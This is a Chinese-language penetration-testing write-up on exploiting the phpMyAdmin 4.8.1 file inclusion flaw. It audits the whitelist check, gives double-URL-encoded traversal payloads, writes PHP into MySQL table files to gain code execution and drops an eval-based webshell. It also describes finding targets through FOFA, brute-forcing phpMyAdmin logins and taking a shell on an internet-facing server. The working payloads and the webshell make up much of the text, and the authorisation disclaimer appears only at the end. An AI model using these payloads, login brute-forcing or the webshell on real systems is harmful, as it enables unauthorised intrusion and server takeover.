实战记录

信息收集

通过 FOFA 搜索带有 phpMyAdmin 4.8.1 的目标站点,目的是测试能否通过信息收集来获取被测站点,发现站点后获取相关版本信息。

image-20220414165839348

本地复现安全问题

本地搭建 4.8.1 版本 phpMyAdmin 环境

image-20220414171149066

对代码进行升级,先寻找包含 include 的函数,尝试寻找文件包含漏洞,发现/index.php 文件下存在危险函数 include $_REQUEST['target']。

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target']) //target传参不为0或null
    && is_string($_REQUEST['target']) //target传参必须为字符串
    && ! preg_match('/^index/', $_REQUEST['target'])//target传参不能是index开头
    && ! in_array($_REQUEST['target'], $target_blacklist)//target传参不能在黑名单
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target']; //这是突破口,但需要满足以上的条件
    exit;
}

if (isset($_REQUEST['ajax_request']) && ! empty($_REQUEST['access_time'])) {
    exit;
}

看出来,target 传参需要满足以下条件,具体解析可以继续看下去

1,target传参不为0或null;
2,target传参必须为字符串;
3,target传参不能是index开头;
4,target传参不能在黑名单;
    $target_blacklist = array (
    'import.php', 'export.php'
);
5,target传参要看Core::checkPageValidity($_REQUEST['target'])的返回结果这里需要使用payloadserver_binlog.php%3f/../1.php

继续定位 Core::checkPageValidity($_REQUEST['target']),逐个方法进行过滤排查,具体含义请看补充的代码备注;

public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist; 
    }
    if (! isset($page) || !is_string($page)) {
        return false; //如果$page入参非字符串,就返回false,基本不太可能非字符串
    }

    if (in_array($page, $whitelist)) {
        return true; //如果$page在白名单的数组中就返回true
    }

    $_page = mb_substr(      
        //自定义函数mb_substr()是返回字符串的一部分,举例echo mb_substr("菜鸟教程", 0, 2);后输出:菜鸟;一句话总结就是聪哪里切,切多长;
        $page,
        0,
        mb_strpos($page . '?', '?')
        //返回要查找的字符串在个别字符串中首次出现的位置,如果123123?1,那对应的位置就是6,其中使用问号来监测,是因为include中不能有?,否则会报错,因此代码写的还是考虑比较周全的。
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    return false;
}

如果 $whitelist = self::$goto_whitelist; 显示,如果形参中没有 $whitelist[],那就会在默认白名单中补齐;

public static $goto_whitelist = array(
       'db_datadict.php',
       'db_sql.php',
       'db_events.php',
       'db_export.php',
       'db_importdocsql.php',
       'db_multi_table_query.php',
       'db_structure.php',
       'db_import.php',
       'db_operations.php',
       'db_search.php',
       'db_routines.php',
       'export.php',
       'import.php',
       'index.php',
       'pdf_pages.php',
       'pdf_schema.php',
       'server_binlog.php',
       'server_collations.php',
       'server_databases.php',
       'server_engines.php',
       'server_export.php',
       'server_import.php',
       'server_privileges.php',
       'server_sql.php',
       'server_status.php',
       'server_status_advisor.php',
       'server_status_monitor.php',
       'server_status_queries.php',
       'server_status_variables.php',
       'server_variables.php',
       'sql.php',
       'tbl_addfield.php',
       'tbl_change.php',
       'tbl_create.php',
       'tbl_import.php',
       'tbl_indexes.php',
       'tbl_sql.php',
       'tbl_export.php',
       'tbl_operations.php',
       'tbl_structure.php',
       'tbl_relation.php',
       'tbl_replace.php',
       'tbl_row_action.php',
       'tbl_select.php',
       'tbl_zoom_select.php',
       'transformation_overview.php',
       'transformation_wrapper.php',
       'user_password.php',
   );

前面的代码可以说是无懈可击,但问题出在了后面的 $_page = urldecode($page),问题点,此处对 url 进行了一次解码,本来?放到 url 中会报错,但编码后%3f 就不报错了,因为会进行解码,get 请求会进行一次 url 编码和解码,但 post 请求却不会,不过这里的接收方式是 REQUEST,其中包含了 get 和 post 两种方式。那这样我就可以拼接 payload:server_binlog.php%3f/../1.php 来包含带有 shell 的文件了。

        $_page = urldecode($page);
//问题点,此处对url进行了一次解码,本来?放到url中会报错,但编码后%3F就不报错了,因为会进行解码,get请求会进行一次url编码和解码,但post请求却不会,不过这里的接收方式是REQUEST,其中包含了get和post两种方式。那这样我就可以拼接payload:server_binlog.php%3f/../1.php来包含带有shell的文件了。 
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

接下来在本地测试绕过思路,在主路径上配置 2.php 文件,通过包里破解进入 phpmyadmin 中,进行文件包含漏洞测试。

1,根据之前代码审计拼接如下链接
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php?/../../2.php
2因为php框架会get请求解码一次因此变形
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%3f/../../2.php
3因为代码中为了兼容性还会再解码一次因此再变形
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%253f/../../2.php

请求后,发现读取包含文件成功!

image-20220416142235907

那问题来了,那如果对远程服务器来说,在不上传新文件的情况下,如何能 getshell 呢,在 mysql 中发现,每一个表都是对应一个文件,在字段值里面写 shell 不就等于是在文件中写 shell 么。。。因此进一步确认;

在 phpmyadmin 中写 shell,然后在文件路径中发现保存成功;

image-20220416152253554

image-20220416152641732

然后通过文件包含的路径去访问,发现 getshell 成功~!但无法通过蚂剑进行链接,因为需要 cookie,所以思路转变为想办法写马,来生成新的文件;

先查下路径
SELECT @@basedir 

然后访问校验
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%253f/../../../mysql/data/ab.frm&8=phpinfo();

image-20220416161801847

线上渗透

通过 phpmyadmin 的爆破工具进入后台(网上很多这方面工具),然后一样流程写 shell;

image-20220416162611801

image-20220416163125740

通过路径访问,发现 getshell 成功;

http:/XXXXXX//phpmyadmin/index.php?target=server_binlog.php%253f/../../../../../../../../XXXX/MySql/data/1_18/abc.frm&8=phpinfo();

image-20220416163538005

然后进行写文件马成功;

file_put_contents('ma.php','<?php @eval($_REQUEST[8])?>')

image-20220416165234849

验证写 shell 成功

image-20220416170607045

连接蚁剑,愉快的 webshell 走起

image-20220416170754575

总结

image-20220416170903507

声明

本次实践是在合法授权情况下进行,数据已经全部加密,目的是提供思路交流学习,请勿用于任何非法活动,否则后果自负。


↙↙↙阅读原文可查看相关链接,并与作者交流